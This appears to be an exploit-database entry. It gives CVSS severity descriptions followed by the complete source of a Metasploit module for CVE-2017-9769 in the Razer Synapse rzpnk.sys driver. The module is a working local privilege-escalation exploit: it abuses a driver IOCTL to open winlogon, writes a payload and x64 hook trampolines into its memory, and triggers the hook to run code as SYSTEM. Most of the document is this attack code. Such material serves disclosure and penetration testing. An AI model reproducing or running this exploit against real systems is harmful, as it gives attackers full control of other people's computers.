The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Razer Synapse 2.20.15.1104 - rzpnk.sys ZwOpenProcess (Metasploit)##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/exploit/local/windows_kernel'
require 'rex'
require 'metasm'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Local::WindowsKernel
include Msf::Post::Windows::Priv
# the max size our hook can be, used before it's generated for the allocation
HOOK_STUB_MAX_LENGTH = 256
def initialize(info = {})
super(update_info(info,
'Name' => 'Razer Synapse rzpnk.sys ZwOpenProcess',
'Description' => %q{
A vulnerability exists in the latest version of Razer Synapse
(v2.20.15.1104 as of the day of disclosure) which can be leveraged
locally by a malicious application to elevate its privileges to those of
NT_AUTHORITY\SYSTEM. The vulnerability lies in a specific IOCTL handler
in the rzpnk.sys driver that passes a PID specified by the user to
ZwOpenProcess. This can be issued by an application to open a handle to
an arbitrary process with the necessary privileges to allocate, read and
write memory in the specified process.
This exploit leverages this vulnerability to open a handle to the
winlogon process (which runs as NT_AUTHORITY\SYSTEM) and infect it by
installing a hook to execute attacker controlled shellcode. This hook is
then triggered on demand by calling user32!LockWorkStation(), resulting
in the attacker's payload being executed with the privileges of the
infected winlogon process. In order for the issued IOCTL to work, the
RazerIngameEngine.exe process must not be running. This exploit will
check if it is, and attempt to kill it as necessary.
The vulnerable software can be found here:
https://www.razerzone.com/synapse/. No Razer hardware needs to be
connected in order to leverage this vulnerability.
This exploit is not opsec-safe due to the user being logged out as part
of the exploitation process.
},
'Author' => 'Spencer McIntyre',
'License' => MSF_LICENSE,
'References' => [
['CVE', '2017-9769'],
['URL', 'https://warroom.securestate.com/cve-2017-9769/']
],
'Platform' => 'win',
'Targets' =>
[
# Tested on (64 bits):
# * Windows 7 SP1
# * Windows 10.0.10586
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'WfsDelay' => 20
},
'DefaultTarget' => 0,
'Privileged' => true,
'DisclosureDate' => 'Mar 22 2017'))
end
def check
# Validate that the driver has been loaded and that
# the version is the same as the one expected
client.sys.config.getdrivers.each do |d|
if d[:basename].downcase == 'rzpnk.sys'
expected_checksum = 'b4598c05d5440250633e25933fff42b0'
target_checksum = client.fs.file.md5(d[:filename])
if expected_checksum == Rex::Text.to_hex(target_checksum, '')
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Detected
end
end
end
Exploit::CheckCode::Safe
end
def exploit
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end
if check == Exploit::CheckCode::Safe
fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
end
if session.platform != 'windows'
fail_with(Failure::NoTarget, 'This exploit requires a native Windows meterpreter session')
elsif session.arch != ARCH_X64
fail_with(Failure::NoTarget, 'This exploit only supports x64 Windows targets')
end
pid = session.sys.process['RazerIngameEngine.exe']
if pid
# if this process is running, the IOCTL won't work but the process runs
# with user privileges so we can kill it
print_status("Found RazerIngameEngine.exe pid: #{pid}, killing it...")
session.sys.process.kill(pid)
end
pid = session.sys.process['winlogon.exe']
print_status("Found winlogon pid: #{pid}")
handle = get_handle(pid)
fail_with(Failure::NotVulnerable, 'Failed to open the process handle') if handle.nil?
vprint_status('Successfully opened a handle to the winlogon process')
winlogon = session.sys.process.new(pid, handle)
allocation_size = payload.encoded.length + HOOK_STUB_MAX_LENGTH
shellcode_address = winlogon.memory.allocate(allocation_size)
winlogon.memory.protect(shellcode_address)
print_good("Allocated #{allocation_size} bytes in winlogon at 0x#{shellcode_address.to_s(16)}")
winlogon.memory.write(shellcode_address, payload.encoded)
hook_stub_address = shellcode_address + payload.encoded.length
result = session.railgun.kernel32.LoadLibraryA('user32')
fail_with(Failure::Unknown, 'Failed to get a handle to user32.dll') if result['return'] == 0
user32_handle = result['return']
# resolve and backup the functions that we'll install trampolines in
user32_trampolines = {} # address => original chunk
user32_functions = ['LockWindowStation']
user32_functions.each do |function|
address = get_address(user32_handle, function)
winlogon.memory.protect(address)
user32_trampolines[function] = {
address: address,
original: winlogon.memory.read(address, 24)
}
end
# generate and install the hook asm
hook_stub = get_hook(shellcode_address, user32_trampolines)
fail_with(Failure::Unknown, 'Failed to generate the hook stub') if hook_stub.nil?
# if this happens, there was a programming error
fail_with(Failure::Unknown, 'The hook stub is too large, please update HOOK_STUB_MAX_LENGTH') if hook_stub.length > HOOK_STUB_MAX_LENGTH
winlogon.memory.write(hook_stub_address, hook_stub)
vprint_status("Wrote the #{hook_stub.length} byte hook stub in winlogon at 0x#{hook_stub_address.to_s(16)}")
# install the asm trampolines to jump to the hook
user32_trampolines.each do |function, trampoline_info|
address = trampoline_info[:address]
trampoline = Metasm::Shellcode.assemble(Metasm::X86_64.new, %{
mov rax, 0x#{address.to_s(16)}
push rax
mov rax, 0x#{hook_stub_address.to_s(16)}
jmp rax
}).encode_string
winlogon.memory.write(address, trampoline)
vprint_status("Installed user32!#{function} trampoline at 0x#{address.to_s(16)}")
end
session.railgun.user32.LockWorkStation()
session.railgun.kernel32.CloseHandle(handle)
end
def get_address(dll_handle, function_name)
result = session.railgun.kernel32.GetProcAddress(dll_handle, function_name)
fail_with(Failure::Unknown, 'Failed to get function address') if result['return'] == 0
result['return']
end
# this is where the actual vulnerability is leveraged
def get_handle(pid)
handle = open_device("\\\\.\\47CD78C9-64C3-47C2-B80F-677B887CF095", 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
return nil unless handle
vprint_status('Successfully opened a handle to the driver')
buffer = [pid, 0].pack(target.arch.first == ARCH_X64 ? 'QQ' : 'LL')
session.railgun.add_function('ntdll', 'NtDeviceIoControlFile', 'DWORD',[
['DWORD', 'FileHandle', 'in' ],
['DWORD', 'Event', 'in' ],
['LPVOID', 'ApcRoutine', 'in' ],
['LPVOID', 'ApcContext', 'in' ],
['PDWORD', 'IoStatusBlock', 'out'],
['DWORD', 'IoControlCode', 'in' ],
['PBLOB', 'InputBuffer', 'in' ],
['DWORD', 'InputBufferLength', 'in' ],
['PBLOB', 'OutputBuffer', 'out'],
['DWORD', 'OutputBufferLength', 'in' ],
])
result = session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x22a050, buffer, buffer.length, buffer.length, buffer.length)
return nil if result['return'] != 0
session.railgun.kernel32.CloseHandle(handle)
result['OutputBuffer'].unpack(target.arch.first == ARCH_X64 ? 'QQ' : 'LL')[1]
end
def get_hook(shellcode_address, restore)
dll_handle = session.railgun.kernel32.GetModuleHandleA('kernel32')['return']
return nil if dll_handle == 0
create_thread_address = get_address(dll_handle, 'CreateThread')
stub = %{
call main
; restore the functions where the trampolines were installed
push rbx
}
restore.each do |function, trampoline_info|
original = trampoline_info[:original].unpack('Q*')
stub << "mov rax, 0x#{trampoline_info[:address].to_s(16)}"
original.each do |chunk|
stub << %{
mov rbx, 0x#{chunk.to_s(16)}
mov qword ptr ds:[rax], rbx
add rax, 8
}
end
end
stub << %{
pop rbx
ret
main:
; backup registers we're going to mangle
push r9
push r8
push rdx
push rcx
; setup the arguments for the call to CreateThread
xor rax, rax
push rax ; lpThreadId
push rax ; dwCreationFlags
xor r9, r9 ; lpParameter
mov r8, 0x#{shellcode_address.to_s(16)} ; lpStartAddress
xor rdx, rdx ; dwStackSize
xor rcx, rcx ; lpThreadAttributes
mov rax, 0x#{create_thread_address.to_s(16)} ; &CreateThread
call rax
add rsp, 16
; restore arguments that were mangled
pop rcx
pop rdx
pop r8
pop r9
ret
}
Metasm::Shellcode.assemble(Metasm::X86_64.new, stub).encode_string
end
end
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